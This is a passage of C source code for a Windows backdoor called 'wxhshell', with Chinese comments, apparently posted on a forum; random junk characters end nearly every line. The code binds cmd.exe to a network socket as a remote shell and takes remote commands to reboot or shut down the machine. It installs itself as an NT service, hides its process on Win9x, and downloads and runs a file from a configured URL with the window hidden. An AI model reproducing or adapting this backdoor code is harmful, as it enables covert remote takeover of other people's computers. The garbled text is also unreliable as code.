  else { o~LJ+m6-)  
Hx.|5n,5  
    switch(cmd[0]) { f+Y4~k  
  2`=jKt  
  // 帮助 e9LX0=  
  case '?': { :>&q?xvA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i2<z"v63  
    break; u^2`$W  
  } !ku}vTe  
  // 安装 @O#!W]6NT6  
  case 'i': { )@wC6Ij  
    if(Install()) Z)rW>I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ~~>m  
    else x{R440"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JQQyl:=  
    break; DGvuo 8  
    } u({^8: AYu  
  // 卸载 tJ(xeb  
  case 'r': { R~g|w4a@sC  
    if(Uninstall()) <9@n/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tc~gn!"  
    else p $Tk;;wm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lNe4e6  
    break; Y:\msq1xp  
    } LW1 4 'A}  
  // 显示 wxhshell 所在路径 s<k[<  
  case 'p': { o0r&w;!  
    char svExeFile[MAX_PATH]; ZKi&f,:  
    strcpy(svExeFile,"\n\r"); * F!B4go  
      strcat(svExeFile,ExeFile); T}Tv}~!f  
        send(wsh,svExeFile,strlen(svExeFile),0); Jn hdZa  
    break; S m(*<H  
    } G$C2?|V)=  
  // 重启  u$?!  
  case 'b': { ?_H9>/:.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e:G~P u`  
    if(Boot(REBOOT)) x1:mT[[$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <#0i*PM_  
    else { vQ< ~-E  
    closesocket(wsh); Dw i-iA_q  
    ExitThread(0); 7-S?RU]g  
    } h8V*$  
    break; ANm@$xO*  
    } YJ~<pH  
  // 关机 _9BL7W $;  
  case 'd': { "~Fg-{jM%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m=}h7&5p  
    if(Boot(SHUTDOWN)) U5"u h} 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Tf}aI+  
    else { z83v J*.  
    closesocket(wsh); Z=% j|xE_  
    ExitThread(0); KR.;X3S}  
    } A f`Kg-c_(  
    break; JE O$v|X  
    } o@A`AA9  
  // 获取shell 21!X[) r  
  case 's': { &[yC M!  
    CmdShell(wsh); !oyo_h  
    closesocket(wsh); yu_PZ"l  
    ExitThread(0); ;Am3eJa*-  
    break; mAlG }<  
  } d- ZUuw  
  // 退出 1ZF KLI`V  
  case 'x': { X1w11Z7o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2D!jVr!  
    CloseIt(wsh); .]>Tj^1  
    break; (H:c8 0/V  
    } @>2]zMFf  
  // 离开 |6So$;`  
  case 'q': { r2:{r`ocM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]{=y8]7  
    closesocket(wsh); 7"| Qmyb  
    WSACleanup(); jNxTy UU  
    exit(1); ^S|qGu,G  
    break; !W XV1S  
        } aH;AGbp  
  } A^}#  
  } |}{gE=]  
O#.YTTj  
  // 提示信息 TJYhgna  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i>S@C@~  
} u'? +JUd1  
  } Ep-bx&w+  
XrUI [ryE  
  return; YXo?(T..  
} r!b>!  
<5L99<E  
// shell模块句柄 F7' MoH  
int CmdShell(SOCKET sock) ?"'+tZ=f6  
{ [+FiD  
STARTUPINFO si; KxErWP%  
ZeroMemory(&si,sizeof(si)); :PV3J0pB~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S\ak(<X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7&,$  
PROCESS_INFORMATION ProcessInfo; T}J)n5U}\  
char cmdline[]="cmd"; %KF I~Qk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ms3"  
  return 0; <f (z\pi1  
} Lp%J:ogV`  
=zH)R0!eG  
// 自身启动模式 3` IR ^  
int StartFromService(void) mm_)=Ipj>  
{ ")9^  
typedef struct qJ5b;=  
{ #[i3cn  
  DWORD ExitStatus; q-^{2.ftcx  
  DWORD PebBaseAddress; 2v(Y'f.  
  DWORD AffinityMask; 1OvoW Nx  
  DWORD BasePriority; F,as>X#  
  ULONG UniqueProcessId; S*n5d>;  
  ULONG InheritedFromUniqueProcessId; 3 }sy{Mx%9  
}   PROCESS_BASIC_INFORMATION; x [vb i  
f#Ud=& >j  
PROCNTQSIP NtQueryInformationProcess; HjzAFXRG  
W)Mz1v #s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Zk~Pq%u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^d# AU7V|  
y%9Hu  
  HANDLE             hProcess; -+i7T^@|  
  PROCESS_BASIC_INFORMATION pbi; mb`h  
16N |  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cxQ %tL+S&  
  if(NULL == hInst ) return 0; hVyeHbx  
[T9]q8"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^r<l#D,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /F^ Jn_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]):>9q$C  
d" 0&=/  
  if (!NtQueryInformationProcess) return 0; *'?V>q,  
uMm`j?Y23q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'ahz@+l O  
  if(!hProcess) return 0; 5{!"}  
&*8.%qe;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H>D?  
EqBTN07dZS  
  CloseHandle(hProcess); "5ISKuL  
6)ysiAH?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a".iVf6y  
if(hProcess==NULL) return 0; 0,&] 2YJ  
rmC7!^/  
HMODULE hMod; XR<g~&h  
char procName[255]; YuHXm3[  
unsigned long cbNeeded; [_ uT+q3  
(]?M=?0\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Pd;8<UMk  
(+xT5 2  
  CloseHandle(hProcess); RkTYvAk|kY  
<e S+3,  
if(strstr(procName,"services")) return 1; // 以服务启动 j%ZBAk)}  
^R :zma  
  return 0; // 注册表启动 Y~*aA&D  
} {~#PM>f  
p Djt\R<f  
// 主模块 4$mtc*tzT  
int StartWxhshell(LPSTR lpCmdLine) '~7zeZ'  
{ 1fM`n5?"  
  SOCKET wsl; +BhJske  
BOOL val=TRUE; FI$ -."F  
  int port=0; x|c_(  
  struct sockaddr_in door; ={]POL\ A  
 V_e  
  if(wscfg.ws_autoins) Install(); w/PE)xA  
rf`xY4I\  
port=atoi(lpCmdLine); 4MzPm~Ct  
f)Y~F/[$P  
if(port<=0) port=wscfg.ws_port; O0_RW`69  
,_<|e\>~  
  WSADATA data; C1l'<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c4Q9foE   
Q`;eI a6U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @)!N{x?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3xdJ<Lrq  
  door.sin_family = AF_INET; M ' %zA;Wl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z yp3 +|  
  door.sin_port = htons(port); gLFTnMO  
k!bJ&} Q(b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #W.vX=/*  
closesocket(wsl); DSq?|H  
return 1; /?b{*<TK  
} Jp^#G2  
y!rJ}e  
  if(listen(wsl,2) == INVALID_SOCKET) { &m\Uc  
closesocket(wsl); , )TnIByM  
return 1; QoxQ"r9Wh  
} q\gbjci  
  Wxhshell(wsl); M^hz<<:$  
  WSACleanup(); ;R<V-gab  
Nz*,m'-1e  
return 0; vSv1FZu*  
,Jn` qvmi  
} z[O*f#t  
W:9l"'  
// 以NT服务方式启动 ^ZRZ0:rZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y%|dM/a`  
{ 5j0 Ib>\  
DWORD   status = 0; %q9"2] cR  
  DWORD   specificError = 0xfffffff; OQKc_z'"  
59"tHb6E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m~P30)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]ZW-`UMO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <%rm?;PBl  
  serviceStatus.dwWin32ExitCode     = 0; ( plT/0=^t  
  serviceStatus.dwServiceSpecificExitCode = 0; cnw+^8  
  serviceStatus.dwCheckPoint       = 0; 7fSNF7/+  
  serviceStatus.dwWaitHint       = 0; 7&%HE\  
BpX`49  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a'n17d&  
  if (hServiceStatusHandle==0) return; YTTi j|(  
0*oavY*  
status = GetLastError(); pjoyMHWK  
  if (status!=NO_ERROR) TXf60{:f  
{ K@*4=0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \DBEs02  
    serviceStatus.dwCheckPoint       = 0; 0M&~;`W}  
    serviceStatus.dwWaitHint       = 0; ^K_FGE0ec  
    serviceStatus.dwWin32ExitCode     = status; qK2jJ3)>  
    serviceStatus.dwServiceSpecificExitCode = specificError; > LN*3&W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sX3qrRY  
    return; D&G?Klq  
  } U}k@%m,  
T\= #y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rwio>4=  
  serviceStatus.dwCheckPoint       = 0; b?lRada{I  
  serviceStatus.dwWaitHint       = 0; B*Om\I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y|J=72!]  
} ?$uF(>LD  
t.VVE:A^%  
// 处理NT服务事件,比如:启动、停止 3hje  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v;Q*0%~  
{ v,z~#$T&  
switch(fdwControl) mh`uvqY  
{ u2`j\ Vu  
case SERVICE_CONTROL_STOP: J P5en  
  serviceStatus.dwWin32ExitCode = 0; ocMTTVo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;T8(byH ?  
  serviceStatus.dwCheckPoint   = 0; sDTw</@  
  serviceStatus.dwWaitHint     = 0; %|^,Q -i,  
  { I&gd"F _v}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8O60pB;4  
  } .3VL  
  return; #Ufb  
case SERVICE_CONTROL_PAUSE: eH!V%dX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0=t2|,}  
  break; V"2 G  
case SERVICE_CONTROL_CONTINUE: GO@<?>K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @]8flb )T  
  break; #w\x-i|  
case SERVICE_CONTROL_INTERROGATE: f\Hw Y)^>  
  break; OI78wG  
}; Y6hV ;[\F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UJ%.KU%Q}  
} YWDgRb  
e6tU8`z  
// 标准应用程序主函数 m .(\u?J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A-_M=\  
{ S1@r.z2L  
X&5N 89  
// 获取操作系统版本 ADB)-!$xoi  
OsIsNt=GetOsVer(); B]}gfVO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C.LAr~P  
iC^G^~V+H  
  // 从命令行安装 "rEfhzmyF  
  if(strpbrk(lpCmdLine,"iI")) Install(); lcy+2)+  
h8Oj E$ H  
  // 下载执行文件 bwP@}(K  
if(wscfg.ws_downexe) { UzIE,A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '+j;g  
  WinExec(wscfg.ws_filenam,SW_HIDE); !wfUD2 K1  
} f<nK;  
ydY 7 :D  
if(!OsIsNt) { )+8r$ i  
// 如果时win9x,隐藏进程并且设置为注册表启动 I8B0@ZtV  
HideProc(); re#]zc<  
StartWxhshell(lpCmdLine); K"5q387!  
} \v<S:cTf  
else @OUBo;/  
  if(StartFromService()) |r?0!;bN0  
  // 以服务方式启动 ?MmQ'1N  
  StartServiceCtrlDispatcher(DispatchTable); QlR~rFs9t  
else ^-mWk?>  
  // 普通方式启动 ~&F|g2:  
  StartWxhshell(lpCmdLine); #2:?N8vz*  
,)J>8eV  
return 0; <gH-`3 J6  
}
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只看该作者 1 发表于: 2006-10-10
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